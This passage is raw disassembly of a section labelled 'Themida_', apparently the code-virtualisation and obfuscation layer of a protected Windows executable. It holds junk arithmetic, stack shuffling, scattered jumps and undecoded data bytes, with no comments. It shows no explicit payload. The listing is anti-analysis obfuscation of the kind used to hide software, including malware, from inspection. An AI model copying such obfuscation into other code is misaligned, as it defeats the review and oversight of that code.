		dd 0E9780453h, 88Bh, 800CB151h,	0E980EBE9h, 71C2805Ah
		dd 0EA80CA00h, 0DAF65971h, 5010EA80h, 0C788D088h, 0FA71E958h
		dd 1C8BFFFEh, 0E1895124h, 4C181h, 0C1810000h, 4, 5C240C87h
		dd 5B16D32Dh, 0D7D3E95Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5642D6:				; CODE XREF: Themida_:0055AA46j
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 29E766B6h
		mov	ebp, 7CAE9F2Bh
		sub	ebp, 22D0148Ah
		jmp	loc_55A9EC
; ---------------------------------------------------------------------------

loc_5642F4:				; CODE XREF: Themida_:0055C7A1j
		mov	[esp], edi
		mov	edi, 47C008E3h
		jmp	loc_551686
; ---------------------------------------------------------------------------
		db 0BFh, 4, 0
		dd 0FD010000h, 0EC81575Fh, 4, 0BE243489h, 2, 34FFF789h
		dd 0EBDFE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_564322:				; CODE XREF: Themida_:0055ADDCj
		push	ebp
		mov	ebp, 6B2C7845h
		and	ebp, 68044A9Eh
		add	ebp, 35505A39h
		add	ebp, 4B7A14BEh
		sub	ebp, 0B37FABAEh
		sub	ebx, ebp
		jmp	loc_5543F8
; ---------------------------------------------------------------------------
		db 56h
		dd 52D32BEh, 6E6C168h, 0DEF7DEF7h, 2DA0E946h, 0C681FFFFh
		dd 4, 4C681h, 34870000h, 41E95C24h
		db 0D7h, 2 dup(0FFh)
byte_56436F	db 0FFh			; DATA XREF: Themida_:0055138Co
		dd 148B2434h, 22E95224h, 47000010h, 8107EFC1h, 70215AC7h
		dd 0CDF7814Ah, 0E93B0327h, 0FFFF3C3Bh
dword_564390	dd 240C8B66h, 561FE955h	; DATA XREF: Themida_:00551440o
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56439A:				; CODE XREF: Themida_:0055AED6j
		mov	esi, 58F07DD4h
		sub	edx, esi
		pop	esi
		and	edx, 4C4C5839h
		add	edx, 0B7BBA7C9h
		push	ebp
		jmp	loc_555982
; ---------------------------------------------------------------------------
		dd 1B76E954h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5643BA:				; CODE XREF: Themida_:00558302j
		xor	edx, [esp]
		xor	[esp], edx
		jmp	loc_5560DA
; ---------------------------------------------------------------------------
		db 5Dh,	0E9h, 0BEh
		db 0C5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5643CB:				; CODE XREF: Themida_:0055CEF3j
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	ebx
		jmp	loc_552C04
; ---------------------------------------------------------------------------

loc_5643DA:				; CODE XREF: Themida_:00557C19j
		mov	esi, ebp
		pop	ebp
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], ecx
		push	esi
		pop	ecx
		mov	eax, ecx
		mov	ecx, [esp]
		add	esp, 4
		push	dword ptr [esp]
		pop	esi
		sub	esp, 4
		jmp	loc_55259F
; ---------------------------------------------------------------------------

loc_564409:				; CODE XREF: Themida_:00564C69j
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	esi, [esp]
		add	esp, 4
		add	esi, 4
		push	6C12h
		mov	[esp], eax
		push	esi
		mov	esi, 4328692Eh
		mov	eax, 0BF050CDAh
		sub	eax, 2C80158h
		jmp	loc_5605AD
; ---------------------------------------------------------------------------

loc_56443C:				; CODE XREF: Themida_:0055A098j
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp

loc_56444E:				; CODE XREF: Themida_:0055EC2Aj
					; Themida_:00563DBFj
		push	dword ptr [esp]
		mov	ebx, [esp]
		add	esp, 4
		push	3F52h
		jmp	loc_555EF1
; ---------------------------------------------------------------------------

loc_564461:				; CODE XREF: Themida_:00561A63j
		mov	esi, 3A097E9Dh
		and	esi, 7D5A151Dh
		and	esi, 481460B8h
		add	esi, 5E3C7320h
		jmp	loc_563CF6
; ---------------------------------------------------------------------------
		db 68h,	0C9h, 60h
		dd 1C890000h, 1C8B5424h, 4C48324h, 0D6F4E956h, 0BB53FFFFh
		dd 4, 875BD901h, 248B240Ch, 240C3324h, 33240C31h, 248B240Ch
		dd 2CD36624h, 34E99C24h, 81FFFED0h, 0B56FF7C2h,	89575B5Bh
		dd 4C781E7h, 0E9000000h, 0FFFFB9CFh
; ---------------------------------------------------------------------------

loc_5644CC:				; CODE XREF: Themida_:00564CF4j
		not	dh
		mov	cl, dh
		mov	edx, [esp]
		add	esp, 4
		xchg	cl, bl
		push	707Dh
		jmp	loc_566B6F
; ---------------------------------------------------------------------------
		dw 0DAF7h
		dd 26F0EA81h, 565724C6h, 0FA77BBBEh, 0B41BF55h,	8BE91C70h
		dd 81FFFFA3h, 7DE487F1h, 0C3E5E9C3h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_564506:				; CODE XREF: Themida_:005532E5j
		mov	edi, 48161A75h
		shr	edi, 4
		neg	edi
		shl	edi, 3
		dec	edi
		jmp	loc_554D10
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 0FF8CE4E9h, 4C383FFh, 0FEDC2AE9h, 0BA5E5DFFh, 47EED48Eh
		dd 0D70EA81h, 97E93955h, 5D000028h, 25C0EB81h, 0EB81087Eh
		dd 41D85691h, 0C0E9C301h, 81FFFF0Fh, 0F76DECEEh, 0AF68166h
		dd 89A49AC0h, 0DE895EF3h, 896FE95Bh
		db 2 dup(0FFh)
word_564566	dw 77FFh		; DATA XREF: Themida_:00551354o
		dd 0AD98E938h, 0C0B9FFFFh, 0E90EAA69h, 0FFFEDA69h
; ---------------------------------------------------------------------------

loc_564578:				; CODE XREF: Themida_:005514F9j
		xchg	eax, [esp]
		pop	esp
		mov	[esp], edx
		jmp	loc_557DB9
; ---------------------------------------------------------------------------
aXsb		db 'XИ│',27h,0
		align 2
		dw 2F04h
		dd 2F2CF800h, 76E95B66h, 89000007h, 1E59E9D1h, 48F0000h
		dd 66DE924h, 0D601FFFFh, 0E924148Bh, 0FFFEE204h, 55FFED81h
		dd 515972D7h, 106C68h, 0A9CEE900h, 5166FFFFh, 0D1E972B5h
		dd 83FFFEE4h, 0EC8104C4h, 4, 54241489h,	68BF575Ah, 8159D034h
		dd 480C94E7h, 2EF8125h,	0E9468F3Fh, 0FFFF4F91h,	6B238CBFh
		dd 9CEF8144h, 0E92376A5h, 0FFFF141Eh, 5304C483h, 0EFC021B7h
		dd 23F78002h, 0EFC0D7F6h, 7DC78003h, 28D8EF80h,	2434FFF8h
		dd 4C4815Bh, 28000000h,	9B15E9E8h, 0E189FFFFh, 774DBD55h
		dd 0F5812688h, 4195453Fh, 0FF359DE9h, 251FBAFFh, 0F201153Fh
		dd 0E924348Bh, 0FFFFF68Eh
; ---------------------------------------------------------------------------

loc_56464C:				; CODE XREF: Themida_:005583FBj
		mov	[esp], edx
		push	eax
		mov	eax, ebx
		mov	edx, eax
		pop	eax
		push	6992h
		jmp	loc_564A64
; ---------------------------------------------------------------------------
aQh6		db 'Qhч6',0
		dd 24248900h, 2E3E68h, 242C8900h, 4BDh,	0F292E900h, 1468FFFFh
		dd 89000040h, 77E9242Ch, 89FFFF22h, 4BB9240Ch, 21484306h
		dd 0E8C159C8h, 637DE906h, 0E951FFFFh, 0FFFEF404h, 47C06853h
		dd 34FF2E7Dh, 89565B24h, 4C681E6h, 83000000h, 348704C6h
		dd 0EC835C24h, 243C8904h, 0ED6AD5BFh, 81EFD165h, 0D8042AF7h
		dd 0EACF817Bh, 50149A07h, 946E16B8h, 0E9C73133h, 0FFFF1D5Ch
		dd 42474FFh, 24048F5Fh,	0FFEC30E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5646ED:				; CODE XREF: Themida_:00565433j
		add	edi, 3D130CBFh
		add	edi, ecx
		sub	edi, 3D130CBFh
		push	ecx
		mov	ecx, 23FB4327h
		sub	edi, 6B192BEAh
		sub	edi, ecx
		add	edi, 6B192BEAh
		pop	ecx
		push	edx
		mov	edx, 337B79B0h
		push	ebp
		push	ecx
		jmp	loc_551AC4
; ---------------------------------------------------------------------------
		db 0B4h, 13h, 0E9h
		dd 0FFFFFE9Eh, 0E98AE680h, 0FFFF86D0h
; ---------------------------------------------------------------------------

loc_56472C:				; CODE XREF: Themida_:00558DBEj
		sub	dword ptr [esp], 1
		pop	ebx
		inc	ebx
		not	ebx
		inc	ebx
		add	ebx, 0AFCE9F08h
		sub	esi, 87D1BCDh
		sub	esi, 63C26D4Ch
		add	esi, ebx
		add	esi, 63C26D4Ch
		push	eax
		jmp	loc_55A93D
; ---------------------------------------------------------------------------
		dd 5C240433h, 4C381h, 1C870000h, 24248B24h, 0F7F2875Ah
		dd 31F287D6h, 31FA31D7h, 243C31D7h, 31243C33h, 68E9243Ch
		db 0CDh, 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_564783:				; CODE XREF: Themida_:005541CEj
		and	eax, 19B804D7h
		add	eax, 0C4F58743h
		jmp	loc_55A80E
; ---------------------------------------------------------------------------

loc_564792:				; CODE XREF: Themida_:005621C8j
		pop	edx
		jmp	loc_557A59
; ---------------------------------------------------------------------------
		dd 3EDC15Bh, 0FF16A1E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5647A1:				; CODE XREF: Themida_:005619B5j
		xor	ebp, [esp]
		jmp	loc_55D4E1
; ---------------------------------------------------------------------------
		db 5Fh,	0E9h, 34h
		db 6Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5647AF:				; CODE XREF: Themida_:0055F961j
		mov	edx, 7D451825h
		jmp	loc_560895
; ---------------------------------------------------------------------------
		db 81h,	0C7h, 4
		dd 68000000h, 7C1Ch, 0E9241489h, 0FFFF36A4h
; ---------------------------------------------------------------------------

loc_5647CC:				; CODE XREF: Themida_:005520EEj
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_55AB73
; ---------------------------------------------------------------------------
		db 31h,	0D5h, 5Ah
		dd 0FF38FBE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5647DD:				; CODE XREF: Themida_:00554C98j
		push	ecx
		mov	ecx, 1
		jmp	loc_563317
; ---------------------------------------------------------------------------
		dd 2F79B850h, 0FBE93E61h
		db 76h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5647F3:				; CODE XREF: Themida_:0056369Cj
		sub	esi, 4B6D268Dh
		add	ebp, esi
		pop	esi
		add	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		jmp	loc_56687D
; ---------------------------------------------------------------------------

loc_564810:				; CODE XREF: Themida_:0056023Aj
		pop	esp
		jmp	loc_555F14
; ---------------------------------------------------------------------------
		dw 30B0h
		dd 0C52820B5h, 51E5D058h, 12454F6h, 83240C8Bh, 525004C4h
		dd 75B452B6h, 76C480h, 0CDCDE9F4h, 1487FFFEh, 24895C24h
		dd 1817E924h, 25BBFFFFh, 3165901Dh, 51505DEBh, 0B56FF7B9h
		dd 0E9C8895Bh, 0FFFED9D8h
; ---------------------------------------------------------------------------

loc_56485C:				; CODE XREF: Themida_:0055E085j
		mov	eax, esp
		add	eax, 4
		push	edi
		push	ebx
		jmp	loc_557EF3
; ---------------------------------------------------------------------------
		dw 0EE81h
		dd 4042EA6Ch, 555EF301h, 0FC1DF2BDh, 0BFE95670h
		db 97h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56487F:				; CODE XREF: Themida_:0055B88Dj
		shl	ch, 6
		not	ch
		jmp	loc_563D01
; ---------------------------------------------------------------------------
		db 33h,	4, 24h
		dd 0E9240431h, 0FFFFFEC4h, 8904C483h, 0E9875EF1h, 0C0E9DDF7h
		dd 31FFFFC7h, 72D6E9C5h, 0F828FFFFh, 81241C8Bh,	4C4h, 140400h
		dd 4142CF8h, 1C8B66CBh,	0E3895324h, 2D79B850h, 822D2BF5h
		dd 0E909323Ch, 0FFFFC211h, 0E904C783h, 0FFFFC254h, 4C181h
		dd 0E9830000h, 240C3304h, 0FF8387E9h
		db 0FFh
byte_5648ED	db 66h,	8Bh, 4		; DATA XREF: Themida_:0055127Co
		dd 0C816E924h, 0C281FFFFh, 239A1815h, 1006E95Bh, 0C483FFFFh
		dd 9796E904h, 815DFFFFh, 5A4E12E2h, 0BCC2811Bh,	0F72E037Eh
		dd 41EA81DAh, 813BEE38h, 245DEAF2h, 0E9D5892Fh,	247Fh
; ---------------------------------------------------------------------------

loc_56492C:				; CODE XREF: Themida_:00565EBDj
		and	al, 0FDh
		dec	al
		xor	al, 41h
		sub	bh, al
		mov	eax, [esp]
		jmp	loc_55D99A
; ---------------------------------------------------------------------------

loc_56493C:				; CODE XREF: Themida_:0055B6F8j
		dec	esi
		not	esi
		neg	esi
		jmp	loc_5546F5
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 148B5952h, 4C48324h, 0F181D1F7h, 0BC49DE58h, 3BAC581h
		dd 0ED817E61h, 42433C26h, 7DE9CD01h, 0C1FFFFA6h, 0F75304EBh
		dd 815B2414h, 71D301EBh, 0FFDF01F6h, 0E95B2434h, 0FFFF410Dh
		dd 3513B32Dh, 44315F52h, 8B580424h, 6E92414h, 0B1FFFEDDh
		dd 28A00412h, 8BA02CC8h, 8956240Ch, 4C681E6h, 83000000h
		dd 348704C6h, 0DB51E924h, 74FFFFFFh, 0E9580424h, 0FFFEDC18h
		dd 42474FFh, 8124048Bh,	4C4h, 24048F00h, 0AF0DE95Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5649DA:				; CODE XREF: Themida_:0055A9F4j
		pop	ecx
		shl	ebp, 6
		shr	ebp, 8
		and	ebp, 3ECC7B1Ch
		xor	ebp, 14331DBDh
		sub	edx, ebp
		jmp	loc_55BDAD
; ---------------------------------------------------------------------------

loc_5649F4:				; CODE XREF: Themida_:0055C5ACj
		pop	edi
		xor	esi, 9EC20610h
		push	esi
		push	ebp
		mov	ebp, 7CF2543Ah
		jmp	loc_56094C
; ---------------------------------------------------------------------------

loc_564A07:				; CODE XREF: Themida_:0055631Cj
		mov	edi, ebp
		pop	ebp
		push	dword ptr [esp]
		mov	eax, [esp]
		jmp	loc_554D20
; ---------------------------------------------------------------------------

loc_564A15:				; CODE XREF: Themida_:00554EE0j
		rep movsd
		add	esp, [edx+38h]
		push	edi
		mov	edi, 7D9C4BBEh
		and	edi, 5C410223h
		xor	edi, 76B6AB2h
		inc	edi
		jmp	loc_55A6CB
; ---------------------------------------------------------------------------
		dw 0ED80h
		dd 0EBC58016h, 0FF2C40E9h, 88CDB7FFh, 241C8BFAh, 4C481h
		dd 0D0000000h, 0FFEAF7E9h, 68FFh, 14280000h, 24148A24h
		dd 0E9E28952h, 0FFFF6BF6h
; ---------------------------------------------------------------------------

loc_564A64:				; CODE XREF: Themida_:0056465Aj
		mov	[esp], ecx
		mov	ecx, edx
		sub	esp, 4
		mov	[esp], ecx
		pop	eax
		pop	ecx
		jmp	loc_55D632
; ---------------------------------------------------------------------------
		db 89h,	14h, 24h
		dd 68E99C50h, 0BFFFFECAh, 40483725h, 0FEDA6CE9h, 240C89FFh
		dd 444519B9h, 0E9CB291Bh, 0FFFF9463h
; ---------------------------------------------------------------------------

loc_564A9C:				; CODE XREF: Themida_:00558335j
		add	eax, 52A95CC2h
		jmp	loc_55CE20
; ---------------------------------------------------------------------------
		dw 2FBFh
		dd 4744B061h, 0C7E9D7F7h
		db 0F9h, 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_564AB3:				; CODE XREF: Themida_:0055CDA2j
		sub	esi, ecx
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_5550C4
; ---------------------------------------------------------------------------
		db 8Fh
		dd 248B2404h, 2404FF24h, 0CA19E99Ch
		db 0FEh, 0FFh
word_564AD2	dw 83ADh		; DATA XREF: Themida_:00551420o
		dd 0F00207Fh, 0FFAB7384h, 55C681FFh, 5061BB4Ah,	974F7E68h
		dd 43E95870h, 83FFFF6Ah, 148904ECh, 4EC8124h, 81000000h
		dd 4ECh, 0DDCFE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_564B06:				; CODE XREF: Themida_:005653D1j
		movzx	eax, al
		pop	small word ptr [edi+eax*4]
		jmp	loc_5514EB
; ---------------------------------------------------------------------------
		dw 1C89h
		dd 1898BB24h, 8BE97ED1h, 56FFFEE5h, 871818BEh, 7121E93Eh
		dd 0C483FFFFh, 4EC8304h, 54243C89h, 8B2434FFh, 0C481243Ch
		dd 4, 0FF7A7BE9h, 4BFFFh, 0F8890000h, 0FF4A78E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_564B51:				; CODE XREF: Themida_:0056188Cj
		add	esp, 4
		push	26C1h
		mov	[esp], ebp
		push	esp
		pop	ebp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		xor	ebx, eax
		pop	dword ptr [eax]
		jmp	loc_5527F9
; ---------------------------------------------------------------------------

loc_564B77:				; CODE XREF: Themida_:0055C32Aj
		mov	edx, ecx
		jmp	loc_558307
; ---------------------------------------------------------------------------
		dw 3C87h
		dd 0F5685C24h, 8900002Fh, 0CAE9243Ch, 68FFFFECh, 24B5h
		dd 54243C89h, 5F2434FFh, 4C481h, 0B9510000h, 4,	3236B951h
		dd 0E9C10F2Eh, 35F18103h, 297830CAh, 240C8BCFh,	0E904C483h
		dd 0FFFFEB44h, 2EF1685Eh, 14890000h, 4BA24h, 9FE90000h
		dd 0FFFFFFC3h, 0E9042474h, 0FFFEFC7Eh, 1C8BDF01h, 4C48324h
		dd 4EF81h, 0EC830000h, 243C8904h, 42474FFh, 24048F5Fh
		dd 240C895Ch, 8853C188h, 554B68CFh, 0C890000h, 81FD8824h
		dd 4ECh, 241C8900h, 0B850EF88h,	0
		dd 7515BA52h, 7DE9145Ah, 0BBFFFFE0h, 14453D71h,	295BDF29h
		dd 71C781F7h, 5E14453Dh, 5001C783h, 0FF607EE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_564C45:				; CODE XREF: Themida_:005622C2j
		pop	ebx
		and	ecx, esi
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		shr	ecx, 0Bh
		push	57FBh
		mov	[esp], ebx
		push	dword ptr [esp]
		pop	eax
		sub	esp, 4
		mov	[esp], esi
		push	59DDh
		jmp	loc_564409
; ---------------------------------------------------------------------------

loc_564C6E:				; CODE XREF: Themida_:0055FC9Aj
		mov	eax, [esp]
		push	ebp
		push	esp
		pop	ebp
		add	ebp, 4
		push	edi
		mov	edi, 4
		add	ebp, 76E92B49h
		sub	esp, 4
		jmp	loc_5588AA
; ---------------------------------------------------------------------------
		dw 0F66h
		dd 0EC83CCB6h, 24048904h, 2DB768h, 446AE900h, 4B8FFFFh
		dd 0E9000000h, 0FFFF1320h
; ---------------------------------------------------------------------------

loc_564CAC:				; CODE XREF: Themida_:0055FE96j
		xor	eax, ebp
		mov	ebp, [esp]
		add	esp, 4
		add	ecx, eax
		mov	eax, [esp]
		jmp	loc_560933
; ---------------------------------------------------------------------------

loc_564CBE:				; CODE XREF: Themida_:00552273j
		or	eax, eax
		jz	loc_5588E7
		push	dword ptr [edi+28h]
		jmp	loc_560021
; ---------------------------------------------------------------------------

loc_564CCE:				; CODE XREF: Themida_:0055630Dj
		pop	eax
		add	eax, 4
		push	edi
		jmp	loc_55D77E
; ---------------------------------------------------------------------------

loc_564CDA:				; CODE XREF: Themida_:00560E4Ej
		sub	esp, 4
		mov	[esp], ebx
		mov	bl, 0FDh
		and	bl, 0EFh
		push	dx
		mov	dh, bl
		dec	dh
		mov	bl, dh
		pop	dx
		xchg	cl, bl
		push	edx
		mov	dh, cl
		jmp	loc_5644CC
; ---------------------------------------------------------------------------

loc_564CF9:				; CODE XREF: Themida_:0055AF73j
		pop	edx
		jmp	loc_55544C
; ---------------------------------------------------------------------------
		db 56h
		dd 0C681E689h, 4, 0FFD378E9h, 521D34FFh, 0FFEA9FE9h, 0E9D028FFh
		dd 0FFFF964Ah
; ---------------------------------------------------------------------------

loc_564D1C:				; CODE XREF: Themida_:00554BD7j
		mov	edx, [esp]
		add	esp, 4
		mov	ebx, [esp]
		jmp	loc_55477D
; ---------------------------------------------------------------------------

loc_564D2A:				; CODE XREF: Themida_:0055B518j
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], eax
		mov	eax, 3BD47A38h
		xor	eax, 183317F0h
		or	eax, 5B76036Dh
		jmp	loc_55414A
; ---------------------------------------------------------------------------
		db 89h,	0E0h, 5
		dd 4, 8704E883h, 895C2404h, 0E9512434h,	0FFFF61E0h, 2 dup(5C24048Fh)
		dd 0FF4661E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_564D75:				; CODE XREF: Themida_:00560B56j
		mov	eax, ebp
		jmp	loc_558AC8
; ---------------------------------------------------------------------------

loc_564D7C:				; CODE XREF: Themida_:005610D9j
		xchg	esi, [esp]
		pop	esp
		jmp	loc_5550B7
; ---------------------------------------------------------------------------

loc_564D85:				; CODE XREF: Themida_:00566AC4j
		mov	[esp], ebp
		push	ecx
		mov	ecx, 0A0373h
		sub	ecx, 0DA43BD1Eh
		push	esi
		push	ecx
		xor	dword ptr [esp], 45E038B3h
		mov	esi, [esp]
		jmp	loc_560F1B
; ---------------------------------------------------------------------------
		db 66h,	5Ah, 80h
		dd 0F18029C9h, 0C5E180F9h, 0E9DCE980h, 0FFFF69F6h
; ---------------------------------------------------------------------------

loc_564DB8:				; CODE XREF: Themida_:00560D4Fj
		add	esi, ebp
		pop	ebp
		sub	eax, 47AD2815h
		add	eax, esi
		push	esi
		push	ebp
		jmp	loc_55D70D
; ---------------------------------------------------------------------------

loc_564DC9:				; CODE XREF: Themida_:00560787j
		mov	ecx, edx
		push	dword ptr [esp]
		jmp	loc_55FD62
; ---------------------------------------------------------------------------
		db 5Eh
		dd 8969E956h, 8951FFFFh, 59CB89F1h, 0FF3CEAE9h,	0E28952FFh
		dd 0FEF652E9h, 241C31FFh, 0E9241C33h, 0FFFF089Dh, 4BFh
		dd 0E9FB8900h, 0FFFF895Fh
; ---------------------------------------------------------------------------

loc_564E04:				; CODE XREF: Themida_:00552DEDj
		sub	ebp, edi
		add	ebp, 70DC409Fh
		sub	ebp, 20CD5ECBh
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_566605
; ---------------------------------------------------------------------------
		db 89h,	0F7h, 89h
		dd 348B5FF8h, 1CB16824h, 4890000h, 55E08924h, 0FEFB70E9h
		dd 4C281FFh, 87000000h,	95C2414h, 34FF1C5Fh, 2B87E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_564E4A:				; CODE XREF: Themida_:00560F6Bj
		xchg	eax, [esp]
		jmp	loc_565166
; ---------------------------------------------------------------------------
		dw 0EC83h
		dd 241C8904h, 5018A5BBh, 90C3815Bh, 0F705A568h,	1BC381DBh
		dd 811C2E59h, 5F6561CBh, 1DC3810Bh, 89448008h, 859DE9DFh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_564E7E:				; CODE XREF: Themida_:00563A8Aj
		push	710Ch
		mov	[esp], edx
		push	esi
		push	1C483DDDh
		pop	esi
		xchg	edx, esi
		not	edx
		xchg	edx, esi
		neg	esi
		shl	esi, 8
		xor	esi, 66D5B5A9h
		mov	edx, esi
		pop	esi
		shl	edx, 3
		sub	edx, 777F5818h
		xor	edx, offset byte_5B0D6F
		sub	ecx, edx
		pop	edx
		add	esi, ecx
		pop	ecx
		or	esi, 5AD6486Dh
		xor	esi, 0DFFF5BF9h
		mov	edi, esi
		pop	esi
		jmp	loc_565195
; ---------------------------------------------------------------------------
		dw 815Dh
		dd 0C5725AEEh, 0ECEE8172h, 14DF018h, 53CAE9D6h,	815BFFFFh
		dd 2568CAEBh, 9FC38100h, 12B2045h, 0C9A5E9D3h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_564EF2:				; CODE XREF: Themida_:00561CF1j
		push	edx
		mov	edx, 63C91761h
		add	eax, edx
		pop	edx
		add	eax, esi
		push	edx
		mov	edx, 625263F6h
		sub	edx, 0FE894C95h
		sub	eax, edx
		pop	edx
		jmp	loc_561918
; ---------------------------------------------------------------------------
		db 0BDh, 8Ah, 94h
		dd 2CE9F613h, 4FFFFA6h,	18B15123h, 96B75352h, 0FF7770E9h
		dd 4C483FFh, 0FFE6DBE9h, 240C89FFh, 0C181E189h,	4, 8704E983h
		dd 545C240Ch, 0E924048Fh, 0FFFF2953h, 0F0235ABAh, 8BBE94Ch
		dd 0B0500000h, 58C7888Dh, 0C780E7D0h, 80CFFE99h, 0DD0418F7h
		dd 0A04C02Ch, 0FF1AD3E9h, 75E981FFh, 891749FDh,	27E959C8h
		dd 31FFFF86h, 0FEE92434h, 81FFFEF5h, 0E06631C5h, 1C3CE904h
		dd 89520000h, 0D8BDE9C2h, 248BFFFEh, 2845E924h,	0E95DFFFFh
		dd 0FFFF4F22h, 565BDD31h, 0F789EE89h, 1D6AE95Eh, 30E9FFFFh
		dd 81FFFEC5h, 9812CAE5h, 66F5813Bh, 811DC212h, 0CF7DA9C5h
		dd 220E910h, 0B9510000h, 59F974C8h, 385AE981h, 0DDE93D23h
		dd 0FFFEE4h, 24048BE6h,	4C481h,	0F4880000h, 389E9h
		db 0
; ---------------------------------------------------------------------------

loc_564FF5:				; CODE XREF: Themida_:005564F6j
		rol	dword ptr [esp], cl
		pushf
		jmp	loc_5514EB
; ---------------------------------------------------------------------------
		dw 0F181h
		dd 3BA7AAD1h, 0E959CE89h, 0FFFF60DEh, 62501B2Dh, 20172D29h
		dd 0BD555BF2h, 3A6870CBh, 5AA8CD81h, 0E9570FBDh, 0FFFF4BF3h
		dd 0F5618A05h, 0CDBF5725h, 2D094E28h, 77F52B5Eh, 5E05F829h
		dd 5F77F52Bh, 0FF936EE9h, 243C89FFh, 243C8B54h,	81E68956h
		dd 4C6h, 6386E900h, 0C8B9FFFFh,	817B9437h, 0D2588FF1h
		dd 0F181493Eh, 7F53068Eh, 6859C801h, 11A7h, 0E9241C89h
		dd 0F8Bh, 4EC81h, 14890000h, 4A3B224h, 2CD000D8h, 0E9535AD8h
		dd 0FFFEEBCDh, 5C243C87h, 4BF57h, 0F9290000h, 74FF515Fh
		dd 0BE90424h
		db 0C5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5650AB:				; CODE XREF: Themida_:0055ECB6j
		add	ebx, 4
		jmp	loc_554906
; ---------------------------------------------------------------------------

loc_5650B6:				; CODE XREF: Themida_:0055C55Dj
		add	esp, 4
		mov	ebx, [esp]
		add	esp, 4
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		pop	ebx
		push	6AF2h
		mov	[esp], esi
		push	eax
		push	esi
		jmp	loc_5637E1
; ---------------------------------------------------------------------------
		db 4Eh
		dd 3FE9DEF7h, 5FFFFA4h,	8157BD1h, 0B4E6857h, 50E958A9h
		dd 0BAFFFFB3h, 77C8188Ah, 15DEA31h, 0C875AD1h, 9AE95C24h
		dd 80FFFF79h, 0D08861F2h, 0E924148Bh, 0FFFF505Ch
; ---------------------------------------------------------------------------

loc_565118:				; CODE XREF: Themida_:00554516j
		add	esi, 4
		add	esi, 4
		push	esi
		jmp	loc_557239
; ---------------------------------------------------------------------------
		dw 0EE80h
		dd 4322E91Fh, 8759FFFFh, 0F9E92404h
		db 0E9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56513B:				; CODE XREF: Themida_:0055C11Cj
		add	ebp, 0FAE4E85Ah
		push	ebp
		jmp	loc_56352D
; ---------------------------------------------------------------------------

loc_565147:				; CODE XREF: Themida_:0055F57Cj
		xchg	eax, [esp]
		jmp	loc_560F5D
; ---------------------------------------------------------------------------
		db 81h
		dd 6E3023C2h, 67C5E923h, 34FFFFFFh, 0C4835824h,	145DE904h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_565166:				; CODE XREF: Themida_:00564E4Dj
		mov	esp, [esp]
		add	eax, 4
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_55BC1B
; ---------------------------------------------------------------------------

loc_56517C:				; CODE XREF: Themida_:005651E2j
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], eax
		push	esp
		jmp	loc_556FBE
; ---------------------------------------------------------------------------

loc_565195:				; CODE XREF: Themida_:00564EC5j
		add	ebp, edi
		pop	edi
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ecx
		mov	ecx, ebx
		jmp	loc_55384C
; ---------------------------------------------------------------------------
		db 80h,	0C2h, 0A0h
		dd 0FFEF19E9h, 81DBF7FFh, 6C5FF2C3h, 8BD80100h,	0C481241Ch
		dd 4, 0FFECB5E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5651C9:				; CODE XREF: Themida_:005632BFj
		xchg	edi, [esp]
		pop	esp
		jmp	loc_55B652
; ---------------------------------------------------------------------------
		dw 248Bh
		dd 242C8124h, 48535DF7h
		db 29h,	4, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_56517C
; ---------------------------------------------------------------------------
		db 81h
		dd 9017BBCAh, 0E12BE95Dh, 0C681FFFEh, 692669D9h, 0EE81EE01h
		dd 692669D9h, 0FEE0B4E9h, 4BFFFh, 0FB010000h, 5F2434FFh
		dd 8104C483h, 4ECh, 243C8900h, 0BE068F68h, 0E9535F0Fh
		dd 0FFFF7284h, 397D68h,	240C8900h, 822773B9h, 4CE9576Bh
		dd 81FFFF80h, 4C2h, 4C28300h, 5C241487h, 31241C33h, 9FE9241Ch
